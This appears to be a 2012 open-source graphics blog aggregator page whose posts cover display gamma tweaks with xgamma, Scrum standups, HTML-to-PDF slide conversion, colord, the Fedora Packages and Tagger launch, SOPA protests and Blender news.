These all have copyright notices on them, because I believed in copyright back then. But I hereby release them, consider them CC-BY-SA but better still ignore all licenses no matter what they are and do whatever you want. Thanks to Ken Levis for digitizing the VHS tape. You kids today should be grateful you have all these digital formats instead of VHS! It was awful to work with, and as you can see the quality was crap too. Hooray for technological progress! Power to the people!

flattr this!

My Notebook Display Is Too Bluish

I’ve been posting a fair amount of photography, imaging and color management lately. While colorimetry can be a good solution to display issues, but a lot of people don’t want to take it that far.

So say you’ve just gotten a new notebook, and like many notebooks the display looks a tad blueish, and you don’t want to invest in a full blown color management solution. There is a fairly simple way to address this issue at least to an extent, and it’s called xgamma (please note that xgamma might not work if your X11 setup is in 16bit mode, which is very unlikely on a modern system).

Now before making any changes it’s a good idea to get a good image to evaluate any changes with. I can highly recommend the Smugmug Calibration Print. So open the calibration print in your favorite image viewer, and do:

# xgamma -rgamma 1.0 -ggamma 1.0 -bgamma 0.9

You should see your display shift in color. Lots of notebook display also tend to lack contrast, so in theory you can use xgamma to compensate for that too:

# xgamma -rgamma 0.9 -ggamma 0.9 -bgamma 0.8

Again check the calibration print again, make sure you can clearly distinguish all the grey patches at the top of the image.

Now when you reboot your machine these settings will be lost. The best way I’ve found to automatically apply these settings seem to be via what’s called XDG Autostart, it’s basically a set of .desktop files that are run during session startup. Most big desktop environments (GNOME/XFCE/KDE) support these.

So, put the following into /etc/xdg/autostart/xgamma.desktop

[Desktop Entry]
Encoding=UTF-8
Name=Set display gamma corrections
GenericName=Set display gamma corrections
Comment=Applies display gamma corrections at session startup
Exec=xgamma -rgamma 0.9 -ggamma 0.9 -bgamma 0.8
Terminal=false
Type=Application
Categories=

Now reboot, and see your gamma settings being applied at during each new X11 login.

Please beware that the above correction are ballpark corrections, for real accuracy you really need to do proper color management.

Mango Open Movie fundraiser halfway

Until February 15th all early pre-orders get a film credit! Order total is going over a 1000 in a...

January 19, 2012

Improving the Scrum standup questions

Anyone practicing Scrum will probably know the three questions that are asked during the daily standup:

  1. What have you done since yesterday?
  2. What are you planning to do today?
  3. Any impediments/stumbling blocks?

There are several problems with the way these questions are phrased. Firstly team-members might get defensive because they feel like you have to explain you really did do something important since the last standup. So regularly I hear answers like “Well, I spent 8 hours on this really very difficult task. But I’m almost done. Will probably finish it today and there are no impediments. Next!”. Wow, this developer managed to burn 8 hours during the last 8 hour working day. Impressive! So there is no information at all in this answer for the Scrum Master or the other team-members.

To tackle this last problem some Scrum Masters rephrase the questions:

  1. What have you accomplished since yesterday?
  2. What are you planning to accomplish today?
  3. Any impediments/stumbling blocks to reach your goal?

At first glance these questions look ok. You really force every team-member to explain what progress he/she has made. Everyone is happy apart  from those poor developers that didn’t accomplish anything since yesterday. Maybe they needed more time to think about a difficult design, maybe they were tackling a nasty bug. In my opinion these questions can be very demotivating.

Of course we all learned that the standup is not meant to be a progress meeting. It is a coordination mechanism between team-members. So can we do better than the two previous approaches?

Yes we can. I recently read a book that has become quite popular “The Lean Startup” by Eric Ries. What I really liked is his message that a start-up company is all about learning, not about the perfect result. And that is exactly what can motivate Scrum teams: software developers are knowledge workers, not just people working at an assembly line accomplishing small predictable tasks in an endless way. So why not state the standup questions in terms of learning:

  1. What have you learned since yesterday?
  2. What are you planning to learn today?
  3. Any impediments/stumbling blocks to keep you from learning?

One of the benefits is that this will greatly improve knowledge exchange within the team. People might even feel comfortable with spending a day doing hammock-driven development (by Rich Hickey, Clojure inventor) as long as they can explain what they have learned. And remember, learning that an approach didn’t work is still learning. Of course at the end a team will need to produce software, but I’m convinced that concentrating on learning instead of accomplishing smaller tasks will get you there a lot faster.

Please give these questions a try and share the results here or in your favorite Scrum forum!


Die Hard 5: with kernels

It’s been a while since I last posted some opinionated crap. How could that possibly happen? :)

Last week Bitwig folks finally announced upcoming beta of Bitwig Studio, a new commercial DAW for Win, Mac and Linux. As it often happens, some folks in the community started speculating how this is going to affect existing free software and the community itself. After all, it’s not that we’ve got huge teams slaving away to make music production a breeze on Linux, eh?

Well, one thing I really liked in the LAU thread is that most folks who cared to comment didn’t express extreme views. I seriously hope that it’s a sign of the community becoming mature enough to treat things in a relaxed, no-fanatic way.

What I’ve been seeing on the desktop layer is that free/libre and commercial software can perfectly coexist without kicking each other in the nadgers and turning half the city to ruins. Just a few examples:

  • Bibble Pro (Corel AfterShot Pro since last week, btw) didn’t make any existing free software die. Instead we got darktable.
  • A month ago BrainDistrict announced PaintSupreme. Can you see Pinta folks crying in despair, because noone’s gonna use it again?
  • BrainDistrict has also been resurrecting MainActor, and yet commits to Kdenlive, PiTiVi, Novacut and OpenShot keep piling up.
  • Renoise didn’t kill any free software project, and they even added support for DSSI, a (currently outdated) free API for virtual instruments.
  • Mixbus folks have been contributing to upstream Ardour project for a couple of years now already, and aren’t they proprietary guys?
  • Loomer is busy porting their commercial synths and effects to LV2, the state of the art free API for virtual instruments and effects.
  • linuxDSP started with Linux support from ground up and has been supporting LV2 since day one.
  • ..and the list can go on.

The only fluctuation I can think of is the 8 years old story with Jorg Anders overreacting and abandoning NoteEdit after hearing about a, frankly speaking, fantom possibility of Finale port to Linux. And he started NtEd few years later anyway. That he doesn’t get much acknowledgment for NtEd either is a whole different story.

And even if you could recall all the epic OMG!Ubuntu threads about likewise phantom possibility of Photoshop port for Linux, you’d soon figure out that most people who expressed their interest weren’t going to use GIMP anyway. No love lost.

So if you think that some proprietary app suddenly available for Linux is going to do BLOOD NEEDLESS VIOLENCE GUTS OUTSIDE CITY TAKEN OVER DEAD BODIES ALL AROUND to your favourite free application, stop worrying. Fire up that free app and do something awesome with it. Work on your skills, become damn good at using free software, and then share what you know. This is how you become your own John McClane.

SampleICC-1.6.6 + IccXML-0.9.6

SampleICC provides an open source platform independent C++ library for reading, writing, manipulating, and applying ICC profiles along with applications that make use of this library.

IccXML provides a library and tools to convert between ICC profiles and XML in both directions.

SampleICC release obtained up to the actual revision 1.6.6 various bug fixes, build system improvements and the new iccGetBPCInfo tool.

OpenICC Program FOSDEM 4 + 5 February 2012 in Brussels, Belgium

OpenICC uses 2012 a DevRoom at FOSDEM on Sunday together with Xorg people. The goal is to provide a meeting space for colour management topics.

The program is online on the OpenICC wiki. The talks will present and discuss colour management in Compositors, OpenICC, Scribus, Taxi DB, Oyranos and SVG2.

January 18, 2012

Hacking & Creativity @ LGM 7

Developers and users of Free, Libre and Open Source graphics software will meet May 2-5 in Vienna at the seventh annual Libre Graphics Meeting (LGM).

LGM gives software developers, artists, designers and other graphics professionals the opportunity to collaborate and learn from each other. LGM emphasizes the sharing of collective creativity, innovation and ideas and is free for everyone to attend.

Mono at FOSDEM 2012: Schedule announced!

The schedule for the Mono devroom at FOSDEM 2012 has been finalized:

  • (11:00 – 11:45) Enough Debian packaging knowledge to hurt yourselves slightly less than you do already (Jo Shields)
  • (12:00 – 13:00) Mono – State of the Union (Miguel De Icaza)
  • (13:00 – 14:00) *** Lunch break ***
  • (14:00 – 14:30) Gluon (Federico Di Gregorio)
  • (14:40 – 15:25) Banshee: Past, Present, Future and the Crazy stuff (Bertrand Lorentz & Olivier Dufour)
  • (15:40 – 16:25) IronPython: Bringing the dynamic world to the CLR (Carlos Alberto Cortez Guevara)
  • (16:40 – 17:30) MonoGame (Dominique Louis, Dean Ellis & Kenneth Pouncy)
  • (17:45 – 18:15) XWT (Lluis Sanchez)
  • (18:30 – 19:00) MonoMac (Miguel De Icaza)

Full details (with talk abstracts) should be available on the FOSDEM website. As always, if you want to see a talk, show up early, once the room is full, you’re out of luck!

Date to put in your agenda: Feb 4, 2012.

BLACKOUT

If anyone needs to download Sita Sings the Blues or copy Mimi & Eunice or anything from any of my web sites, including this blog, do it now because they’re all going dark for 24 hours in protest of SOPA/PIPA and the lobbyists and bought politicians who wrote them and will write the next stupid bills attempting to break the internet even after SOPA and PIPA “die” only to be resurrected zombie-like under new stupid acronyms.

Although I’ll truly miss Wikipedia while it’s down tomorrow, maybe I’ll use the time to get some actual animation done instead of just “research.”

flattr this!

January 17, 2012

Stop SOPA! Stop BREIN! Stop BUMA-STEMRA! Stop GEMA! Stop HADOPI! Stop...

I'm fully supporting the protests today against the SOPA bill that might get accepted in the USA. With Blender Foundation being established in the Netherlands, I would like to emphasize that similar ideas have either already been established or are being lobbied here and in other European countries.

If you know the abbreviations in the title; keep an eye at these organizations or bills, investigate it well and make up your mind. Your own country will have similar organizations claiming to stand up for rights of artists, but in fact serve the interests of copyright-trolls and wealthy corporations even more.

What's the digital world you want to live in? I don't know all answers, but for sure it shouldn't be the big corporations defining it alone. A wonderful American document begins with "We the people... ". Let's make that true in the 21st century as well.

Ton Roosendaal
Blender Foundation.

(Instead of blackening, i prefer to speak up today :)

Converting HTML pages into PDF

I've long wanted a way of converting my HTML presentation slides to PDF. Mostly because conference organizers tend to freak out at slides in any format other than Open/Libre Office, Powerpoint or PDF. Too many times, I've submitted a tarball of my slides and discovered they weren't even listed on the conference site. (I ask you, in what way is a tarball more difficult to deal with than an .odp file?) Slide-sharing websites also have a limited set of formats they'll accept.

A year or so ago, I added screenshot capability to my webkit-based presentation program, Preso, do "screenshots", but I really needed PDF, not images.

Now, creating PDF from HTML shouldn't be that hard. Every browser has a print function that can print to a PDF file. So why is it so hard to create PDF from HTML in any kind of scriptable way?

After much searching and experimenting, I finally found a Python code snippet that worked: XHTML to PDF using PyGTK4 Webkit from Alex Dong. It uses Python-Qt, not GTK, so I can't integrate it into my Preso app, but that's okay -- a separate tool is just as good.

(I struggled to write an equivalent in PyGTK, but gave up due to the complete lack of documentation of Python-Webkit-GTK, and not much more for gtk.PrintOperation(). QWebView's documentation may not be as complete as I'd like, but at least there is some.)

Printing from QtWebView to QPrinter

Here are the important things I learned about QWebView from fiddling around with Alex's code to adapt it to what I needed, which is printing a list of pages to sequentially numbered files:

  • To print, you need to wait until the page has finished loading, so connect a function to SIGNAL("loadFinished(bool)"), then load(QUrl(url)).
  • That loadFinished function remains registered, so as you load new pages, it will be called each time. So you can load() the next URL as the last step in your loadFinished callback.
  • If you get confused about callbacks and connect more than one of them, bad things happen, and only the last page gets printed, or QApplication.exit() doesn't exit at all.

Things I learned about QPrinter():

  • All the examples I found online set the page size with lines like QPrinter.setPageSize(QPrinter.A4) or setPaperSize(QPrinter.A4) (setPageSize is apparently deprecated in favor of setPaperSize); but
  • If you want to set a specific size, you can do that with a line like QPrinter.setPaperSize(QSizeF(1024, 768), QPrinter.DevicePixel) The second argument (DevicePixel) is a unit, from this list.
  • That line gives you the right aspect ratio. But if you think "DevicePixels" means the size will correspond to pixels in your browser window (just because the documentation says so), you're sadly mistaken.
  • If you want a PDF page that actually corresponds to the size of your browser window, you can get it by calling QWebView.setZoomFactor(z) You'll have to experiment to find the right value of z; I found I needed about 1.24 if I wanted to capture my full 1366x768 slides, or exactly 2.0 if I wanted to restrict the saved PDF to only the 1024x758 part that shows up in the projector.

Anyway, it's a little hacky with that empirical zoom factor ... but it works! The program is here: qhtmlprint: convert HTML to PDF using Qt Webkit.

And it does produce reasonable PDF, with the text properly vectorized, not just raster screenshots of each page.

Printing the slides in the right order

Terrific -- now I can feed a list of slides to qhtmlprint and get a bunch of PDF files back. How do I print the right slides?

My slides are listed in order in an array inside a Javascript file, one per line. If I grep .html navigate.js, I get a list like this:

    "arduino.html",
    "img.html?pix/arduinos/arduino-clones.jpg",
    "getting_started.html",
    "img.html?pix/projects/led.jpg",
    //"blink.html",
    "arduino-ide.html",

To pass that to qhtmlprint, I only need to remove the commented-out lines (the ones with //) and strip off the quotes and commas. I can do that all in one command with a grep and sed pipeline:

qhtmlprint ` fgrep .html navigate.js  | grep -v // | sed -e 's/",/"/' -e 's/"//g' `

And voiaà! I have a bunch of fileNNN.pdf files.

Creating a multi-page slide deck

Okay, great! Now how do I stick those files all together into one slide deck I can submit to conference organizers?

That part's easy -- Ghostscript can do it.

gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=slidedeck.pdf -dBATCH file*.pdf

And now slidedeck.pdf contains my whole presentation, ready to go.

New developments in the color management world

My work in color management has been bubbling away in the background, and new features are being added slowly and carefully.

One small, but nice feature is the new metadata tags that I’ve been standardising with Florian Höch and others. Of these, MAPPING_device_id is probably most interesting. This is a key that is automatically stored in the binary ICC profile itself, and stores the device ID of the device that it was created for. This means if you re-install the system, or email the profile file to someone with identical hardware, it automatically gets added as the default profile, unless you’ve manually set the device to something better.

From a security point of view, the colord daemon is no longer being ran as root, and instead uses a private group. Most of the work was done by Vincent Untz and the OpenSuse security team, but a few Ubuntu guys helped too and now we can worry less about random library vulnerabilities affecting us.

Benedikt Morbach also switched colord to optionally use a systemd service file, which will allow us to do some cool things in the future with regard to preventing network access, respawning on failure and that kind of thing.

So slowly but surely, we’re increasing the number of things that “just work” and updating colord to use a few best practices and the latest technologies. For the future, I’m looking at a wayland extension for full screen color management using a GLSL shader, but that’s some time away before it’ll be really useful, and allow us to simplify color management for applications even more by putting all the heavy lifting in toolkits.

… so we’re getting there. :)

January 16, 2012

Announcing Fedora Packages (and Fedora Tagger!)


Screenshot, front page of Fedora Packages

The story up ’till now

You might remember some earlier posts I’ve made about Fedora package social networking. The background here is that we built a web application called Fedora Community a couple of years ago. With Luya Tshimbalanga’s help, I ran a number of usability tests on this initial version at FUDcon Toronto. The results pointed out some key problems that over the past couple of years have definitely negatively impacted user adoption, including slow search and loading times.

Late this summer Luke Macken, John Palmieri, Spot, and myself went through those all of those issues and formulated a plan to try again and build a better application for package maintainers. We launched a beta version at FUDcon Blacksburg this past Saturday, and it’s called Fedora Packages.

We wanted to build only the most core functionality and keep things very light and speedy, being overly cautious towards adding features beyond the initial core to avoid the problems we ran into with the first version. I want to emphasize this because a lot of you provided great suggestions for functionality but we decided to focus just on the core functionality for now and have planned to work on several of your suggestions in future releases.

Fedora Packages


Screenshot, front page of Inkscape’s profile

You can think of Fedora Packages like a social networking system, where instead of profiles of people, you’ll find profiles of packages. We load the package’s icon in the upper left. Right now, we just load the icon if we have it, and if it’s too low-resolution, we blow it up. For some packages like clonekeen, this looks pretty awesome but for others, not so much. We very much appreciated your suggestions on an earlier blog post about package categories and how to display icons for packages that don’t have icons or high-quality icons, but again in keeping with our focus on the core and having something ready for you to check out by FUDcon Blacksburg, we decided to shelve that for now and focus on higher-priority features like optimizing our searches.

We also display basic details in the left sidebar such as like the latest version of the package in Fedora, the package owner, any packages in its family tree, and these pieces of information persist across the package’s profile tabs.

The front overview page shows the description of the package, what versions of the package are in what Fedora and/or EPEL releases, and a link to the upstream. I am hoping that in the next cut we can work with Vincent and the OpenSuSE folks on extending our upstream metadata; Luke has some ideas on this as well (more on that later.)

One core piece of functionality we definitely heard loud and clear from your feedback on Fedora Community, including during the FUDcon Toronto usability tests, was that the Fedora Community URL structure was complicated and made it difficult to go directly to the page you wanted. With Fedora packages, you need only append the name of the package you are interested in after the /packages/ portion of the URL and it will take you straight there. You can go directly to a particular tab of the package profile by appending the name of the tab after the package name portion of the URL (for example, https://community.dev.fedoraproject.org/packages/inkscape/bugs to go to the Inkscape bugs tab.)

Some new goodies: Patch Viewer and Contents Viewer


Fedora Packages’ patch viewer

You may recognize some of the tabs in Fedora Packages – both the builds and updates tabs are widgets Luke and J5 had built for Fedora Community. They have been cleaned up and optimized for inclusion here. We put some new goodies for you to work with as well.

Luke worked with me on the patch viewer, which not only gives you a full listing of all Fedora patches against any given patch with the committer and commit date, but also lets you view a diffstat per patch as well as across all patches for the package. You can also view the full content of the patches with code syntax highlighting inline in the page.


Expanded view on a patch from Fedora Packages’ patch viewer

J5 worked on the package contents tab, which displays the contents of the RPM binary for the package (see screenshot below.)

There are of course more nooks and crannies of useful information in each package profile: please try Fedora Packages out and let us know what you think!

http://community.dev.fedoraproject.org/packages/


Inkscape’s contents tab in Fedora Packages

Optimized search via playing games: Fedora Tagger


Fedora Packages search results for ‘email’

So how did we get our search to work so quickly this time, and how are we getting better search results?

Luke did a lot of research on how to best improve our search and concluded that the GPL-licensed Xapian Open Source Search Engine Library was the way to do it. Xapian searches package names, summaries, descriptions, and tags, and it shold weight the search results in the following manner (although John is still tweaking it, and I’m not 100% sure where tags are in the ordering):

  1. If the search term(s) appear in the package name.
  2. If the search term(s) appear in the package tags.
  3. If the search term(s) appear in the package summary.
  4. If the search term(s) appear in the package description.

“Where do the tags come from, though?” you might ask. Good question! :) Fedora PackageDB has a tagging system and yum is able to access those tags, so Ralph Bean pre-populated the Xapian index with the tags from Fedora PackageDB. Not all packages in PackageDB have tags, though. What to do?

Fedora Tagger

Well, Spot had this great idea for us to build a game that would let you both add tags to packages in Fedora as well as vote up or down those tags added by others, and win points (and hopefully soon badges – more on that later) for your efforts. It was a stretch goal for us because we really weren’t sure if we’d have Fedora Packages up and running in a development environment and all the core features ready in time – time was very short, especially with the Christmas holiday break – but we managed to pull it together with J5′s initial javascript prototype and a Herculean effort by Ralph Bean, who not only got the basic game mechanics and prototype in tip-top shape but who also implemented gravatar icon support, a leader board, and even vim keybindings!

Other features include a naughty-words filter (no, Tagger is not a dumping ground for your drama :) ) and anonymous tag voting, although you can’t add tags if you are anonymous. Log in and try Tagger, and let us know what you think!

http://community.dev.fedoraproject.org/tagger/

Planning whiteboard for Fedora Packages and Fedora Tagger

Where we go from here

Our FUDcon presentation, “Making Fedora Package Maintenance Easier”, was (thankfully! phew!) given to a completely full room and the initial reception seemed to be very positive. Here’s a rundown of the comments and feedback we got during the session from those that attended:

IMG_9029
Colin explaining his upstream package metadata ideas

  • Would it be possible to show which patches were sent upstream and are pending, which were refused by upstream, and which have not yet been submitted? (Colin Walters & Nathaniel McCallum)
    • One proposed solution during the discussion was to create additional rules/regulations for package maintainers to note this information in their package commits. This was noted to be an extra burden on maintainers, though.
    • Another proposed solution that Luke has been looking into is called DOAP files.
    • Colin noted that he was upset when people fix bugs downstream in code he is the upstream for and don’t even let him know about it. He ends up putting time into fixing bugs that have already been fixed because he just didn’t know.
    • Both Nathaniel and Casey Dahlin noted that there is some functionality available in git where it can tell you if your lines of code from a patch is available in a given repo.
    • Nathaniel suggested adding something to the DOAP files, such that whenever someone builds a patch and commits it, it would automatically notify upstream. Spot noted that there are quite a few patches that are not suitable for upstream and wouldn’t be useful to them because they are Fedora-specific. He suggested noting the upstream contact on the page of each package. Ben Boeckel suggested that maybe Fedora-specific packages could start with numbers in the 1,000 range, but Spot thought the kernel maintainers wouldn’t like that very much.
    • Ben also mentioned an upstream version checker called ‘fever.’ Spot noted that Luke has been investigating its inclusion and it’s now called cnucnu. (More details on the Fedora wiki.)
  • Cool, this is like extensions.gnome.org for Fedora! (Paul Frields)
    • It’s not a store, though (Spot)
    • With a few small tweaks–filtering down to apps only, and adding a install button–we could build a separate app like that using this codebase, though. (J5)
  • What about screenshots? (Rahul Sundaram)
    • We don’t have auth on the site, so we couldn’t let users upload screenshots. (Spot)
    • Maybe we could set up a separate service to allow that. (J5)
  • Can yum use the tags? Can other applications use the tags? (Kevin Fenzi)
    • Yum already uses tags from PackageDB … (lmacken)
    • Maybe we could get rid of the extraneous pkgdb stuff so we don’t have duplicate / separate functionality (Toshio)
    • What about using the tags in the package spec files? (Colin)
    • We could take the tag cloud that we generate… if the tag achieves a certain amount of weight, we could take those tags with those mappings and use in the GNOME shell search logistics.
  • Is there a JSON API for this? (Casey Dahlin)
    • It’s definitely do-able since it’s built using TurboGears (lmacken)
    • Actually, I think it’s not documented yet but you could go to the connectors directory directly. (J5)
  • Could we use this to better document specs? (Toshio)
    • Toshio had the idea of looking at adding the ability to annotate spec files. There was a project proposal to do this through the Google Summer of Code; the Django project documentation does it now, where you can comment on specific chunks/parts of the documentation rather than leave comments in a generic area. What if we added that ability to specs, so maintainers could document their specs when asked questions to new packagers they were mentoring? We could have a toggle to turn them on or off. The challenge is that we don’t have auth in Fedora Packages – maybe we could get around that by having the maintainer receive patches to the spec file with annotation via bugzilla?

IMG_9031
Spot showing off Tagger

Some ideas we discussed adding, but have held back thus far because of our committment to implement the core first:

  • Full package description text available in tagger – We noticed while playing Tagger that there were many packages we had never heard of and we opened up new browser tabs to do research on them in Fedora Packager. It would be more streamlined to display the package description and upstream link right in Tagger (upon request, after clicking ‘more details’) to save time and effort.
  • Mozilla Badge SupportMozilla’s Open Badges Project is something we could deploy to reward folks submitting tags and voting on tags in Tagger, as well as a way of rewarding our package maintainers and other Fedora contributors.
  • PackageKit integration – We could provide an API for PackageKit to use Fedora Packages and its optimized search results for returning package data rather than querying yum for this information. One advantage to this approach is that PackageKit could get the icons from Fedora Packages, even for packages not already installed on the system.
  • GNOME Shell integration – As mentioned earlier, the idea came up to allow GNOME shell to access the optimized search including tags to display appropraite applications directly in the shell.
  • A query language – We could implement a query language for the search to make it even more efficient to find what you are looking for.
  • Subpackage display in search results – This is a minor bug, but right now if your search terms match a subpackage, we display both the subpackage, its parent, and all of its sublings. We should only be displaying the subpackage(s) that match the search terms and its parent.
  • Newly-added tags don’t display on the package card right away in tagger – another minor bug we can address.
  • Improved linkage to bugs mentioned in spec files and patches – we have some links working now, but folks aren’t incredibly consistent with how they refer to bug numbers in their commit messages and comments so we missed a few.
  • Diffs between versions for spec files – is this something you’d be interested in seeing?
  • Diffs between the spec and its patches – this could show if you’re carrying patches for a package that aren’t even referenced in your spec (I think we saw a few instances of this too.
  • Interaction with the Fedora system accessing Fedora Packages – we talked about possibly having an icon or notification on a package’s profile if we detected that you have it installed, or if you have it installed and there’s an update available for your version. (In the released versions table we could even highlight your release.) We could also pre-populate the release dropdown filters across the UI with your current version. For updates, it might be cool to show which ones you have installed and allow you to easily given them karma.
  • Default or not? – some kind of indication on a package profile to show whether or not it is installed by default.
  • Timestamp the screens – we could display a timestamp on each page of packages… since we’re working from cached data.
  • Subpackage versions bug – right now we give subpackages the same version number as the parent even though they might not have the same version number as their parent, in active releases overview, might fall over in some edge cases on the relationships / contents tabs
  • Off-site upstream summary link indicator – this is a super-minor designery desire here, but I thought it would be nice to add an ‘offsite’ icon to indicate the upstream webpage links are outside of Fedora infrastructure (see “Patterns for Expressing Expansion Link Weights in Web Applications” and “More Link Treatments”.
  • Maintainer mail-to links – Right now we don’t link the maintainer’s name, it’s just plain text. Pingou suggested that we use the maintainer alias email addresses. We also discussed potentially providing, in a panel that pops up when you hover over the maintainer’s name, showing their IRC nick, emailaddress, and buglist. We opted to not do anything yet because we wanted to see what you might ask for here. What do you think?
  • Alpha-sort subpackages list – we don’t do this now I don’t think.
  • [NEW] Type-ahead in the searchbox – (idea from CodeBlock) this would be especially awesome once you’re already at a package profile page because you won’t have to bounce to the front page, you can go directly to the page you want

Summary & Where the Action is At

So we hopefully have provided Fedora package maintainers (and users? Maybe?) a better tool for managing information about packages this time. We now also have Tagger, which allows those of us (like me! :) ) who are less technical but still want to help Fedora a way to contribute and learn more about what’s available in Fedora along the way.


My life is now complete, and Tagger made it happen: I discovered xteddy!

I do think it was the right call to keep things as minimal as possible first. I think it left the slate open for a huge number of ideas (as you can see above) directly from you. We still have a lot further to go, though: your help, suggestions, and feedback all this time have of course been critical and we’ll need more. :) If you’d like to get involved, here’s the rundown:

Fedora Packages

URL http://community.dev.fedoraproject.org/packages
Mockups http://community.dev.fedoraproject.org/packages
Bug Tracker https://fedorahosted.org/fedoracommunity/
IRC #fedora-admin on irc.freenode.net
Mailing list Fedora infrastructure list

Fedora Tagger

URL http://community.dev.fedoraproject.org/tagger
Bug Tracker https://github.com/ralphbean/fedora-tagger/issues
IRC #fedora-admin on irc.freenode.net
Mailing list Fedora infrastructure list

Oh, what about that weird radioactive panda post?

Remember that weird hot-dog-seemingly-with-a-grudge-with-a-panda post? Well, check this out (it will get even cooler soon with Fotios’ parallax animation… heh, heh, heh.)

January 15, 2012

Migrating to Blender 2.61

Finally, we have started updating Morevna repository for Blender 2.61. As you might remember we have used 2.49 before and of course we have many issues during migration. At the same time we started ultimate rework of battlefield concept. Here’s a few WIPs:

Shot 01

Shot 07

Special thanks for building models: Abolfazl Kanani, cody glassman, Sebastian Erler.

P.S. Updated blender packages are here.

January 14, 2012

Twitter: 2012-01-15

  • Still have no film chemicals, so uploaded some digital shots of street art found around beyoglu, istanbul last november http://t.co/R9aogu2v #
  • very pleased with @JamesJeanArt Rebus. impressive work, beautifully presented. our walls here seem to be lacking one of his prints moreso #
  • back to work, i wonder how busy it will get this time. #
  • Super funky @MMkilimanjaro – one of the most fun and energetic gigs I've been to in a while http://t.co/2SKqcxnb #
  • mountain mocha kilimanjaro tonight at #sydfest bar! http://t.co/rt6IPMrY #

beyoglu street art

otoparki II
I’m still waiting to get some chemistry to process the 18 or so rolls of 120 film I took in Turkey last November. Until then, I’ve uploaded a collection of street art I saw and shot on digital around the Beyoglu area in Istanbul. It was a beautiful place to be hanging out, and I was impressed by the amount of burgeoning creativity.

January 13, 2012

Beefy has a beef.

I have seen a vision of the future, and this is what I saw:

Why would Beefy be targeting the panda with a laser gun? Why is the panda glowing green? How did this situation come about? What happens next?

we need your help

Your mission!

It’s a contest. :) Come up with the best story to go with this picture, and:

  • You’ll get to name the panda.
  • Your story will be illustrated and used in a Fedora webapp’s error message pages (more on that tomorrow at FUDcon. :) )
  • You will receive a LIMITED EDITION, ONE-OF-A-KIND, direct-to-garment printed Beefy Miracle and radioactive panda T-shirt, using the design of your choice from your story (or the design above.)

Want to give it a shot? Submit your ideas in the comments below!

Blender E-store expands

The Blender E-store still is the main income source for Blender Foundation, allowing to organize projects in Blender Institute and to hire people for work on Blender (currently 3 developers and myself full-time).

Customers expect from a modern internet store more services than we provided until now though; especially doing faster and more often shipments. To achieve this, we need to expand our product catalog to get a bit higher volumes per shipment.

Per January 1st 2012 we now rent a second small office and storage in the south of Netherlands (Budel) where our shop manager Anja Vugts-Verstappen will be handling the orders, shipping and daily shop support.

Summarized, changes will be:

  • Shipping at least 3 times per week (monday, wednesday, friday)
  • More choice in shipping speed (courier, or free shipping, T.B.A.)
  • Shop open for third party DVD training, we added BlenderCookie titles now.

http://www.blender3d.org/e-shop/default_dvds.php

Publishers interested to resell via our e-store as well can contact me any time!

-Ton-
(ton at blender.org)

Tensor Meshes Revisited

When I first proposed adding meshes to the SVG standard the SVG working group looked at the question of Coons patch vs tensor patch meshes. A tensor patch adds four additional control points to a Coons patch. These control points influence how the color is spread inside the patch. The group decided that the added complexity of the tensor patch was not worth the benefit gain. I am now revisiting this decision. In a previous blog I discussed the problems caused by a lack of smoothness across patch boundaries. At first it didn’t seem like having tensor control points would help but now I realize that in some limited cases they can be of great benefit.

Consider the following four patch mesh:

A 2x2 patch mesh showing effect of lack of smoothness across boundaries.

A 2×2 Coons Patch mesh. The outer corner colors are black. The center corner is white.

The first thing that one sees is a cross pattern. This is due to a lack of smoothness across the patch boundaries. In the following figure one can see the color profile for two of the patches that clearly illustrates the sharp change in the color derivative at the patch boundary.

A diagram of the color profile for two of the patches in the above mesh.

The color profile for two of the patches in the previous figure. The height of the surface is proportional to the white level. The red line illustrates the profile along a diagonal line in one of the patches. The blue line shows the required profile if the profile is to be rotationally symmetric around the center point.

By moving the tensor mesh points it is possible to better approximate a rotationally symmetric profile around the center point, reducing the “cross” artifact.

A 2x2 patch mesh where tensor control points are used to smooth the color profile across patch boundaries.

Tensor control points have been used to smooth the color profile.

It is not possible to completely remove the cross using tensor control points. One also still has a bright spot at the center point which is not what one wants when trying to illustrate a diffuse reflection of light off a curved surface. To get a smoother profile one needs to add more patches.

A 4x4 patch mesh with a smoother color profile.

A 4×4 Coons patch mesh is used to produce a smoother color profile.

So adding tensor control points is useful but is not a complete solution to smoothness. I still haven’t made up my mind about their cost/benefit value. Feedback would be appreciated.

HTML and Javascript Presentations

When I give talks that need slides, I've been using my Slide Presentations in HTML and JavaScript for many years. I uploaded it in 2007 -- then left it there, without many updates.

But meanwhile, I've been giving lots of presentations, tweaking the code, tweaking the CSS to make it display better. And every now and then I get reminded that a few other people besides me are using this stuff.

For instance, around a year ago, I gave a talk where nearly all the slides were just images. Silly to have to make a separate HTML file to go with each image. Why not just have one file, img.html, that can show different images? So I wrote some code that lets you go to a URL like img.html?pix/whizzyphoto.jpg, and it will display it properly, and the Next and Previous slide links will still work.

Of course, I tweak this software mainly when I have a talk coming up. I've been working lately on my SCALE talk, coming up on January 22: Fun with Linux and Devices (be ready for some fun Arduino demos!) Sometimes when I overload on talk preparation, I procrastinate by hacking the software instead of the content of the actual talk. So I've added some nice changes just in the past few weeks.

For instance, the speaker notes that remind me of where I am in the talk and what's coming next. I didn't have any way to add notes on image slides. But I need them on those slides, too -- so I added that.

Then I decided it was silly not to have some sort of automatic reminder of what the next slide was. Why should I have to put it in the speaker notes by hand? So that went in too.

And now I've done the less fun part -- collecting it all together and documenting the new additions. So if you're using my HTML/JS slide kit -- or if you think you might be interested in something like that as an alternative to Powerpoint or Libre Office Presenter -- check out the presentation I have explaining the package, including the new features.

You can find it here: Slide Presentations in HTML and JavaScript

January 12, 2012

Pencil packages update

Here’s another update for Pencil fixing few minor issues:

  • Blank keyframes are saved correctly now. #7
  • Fix Ctrl+Z keybinding not working under some circumstances.
  • Fix some keybindings to be more conventional.

Download now

As usual, the source code can be found in this git repository. All changes are made against the Pencil SVN190.

RawSpeed Development Information Posted

I have written up some information on the RawSpeed decoder, and how it can be implemented.

Here are links to the articles.

If you have any additional areas you’d like to have covered, or have any questions, just leave a comment, and I will try to address it.

January 11, 2012

Blog / Scribus and the dockable palettes

If the new year has brought us the shiny new Scribus 1.4 we all have been waiting for for so long, we shouldn't forget the bigger and smaller improvements we already had at the end of 2011 in Scribus 1.5.

Franz has built upon Jean's efforts and has checked that all palettes can be docked to the side of the window!

I'm still not 100% that this is a useful feature, but who cares: now, one can stack the palettes in docked tabs! Hurrah!

Now, we only have to wait that the code of the Properties palettes is ready for the long awaited redesign!

January 10, 2012

Axes systems in FreeCAD

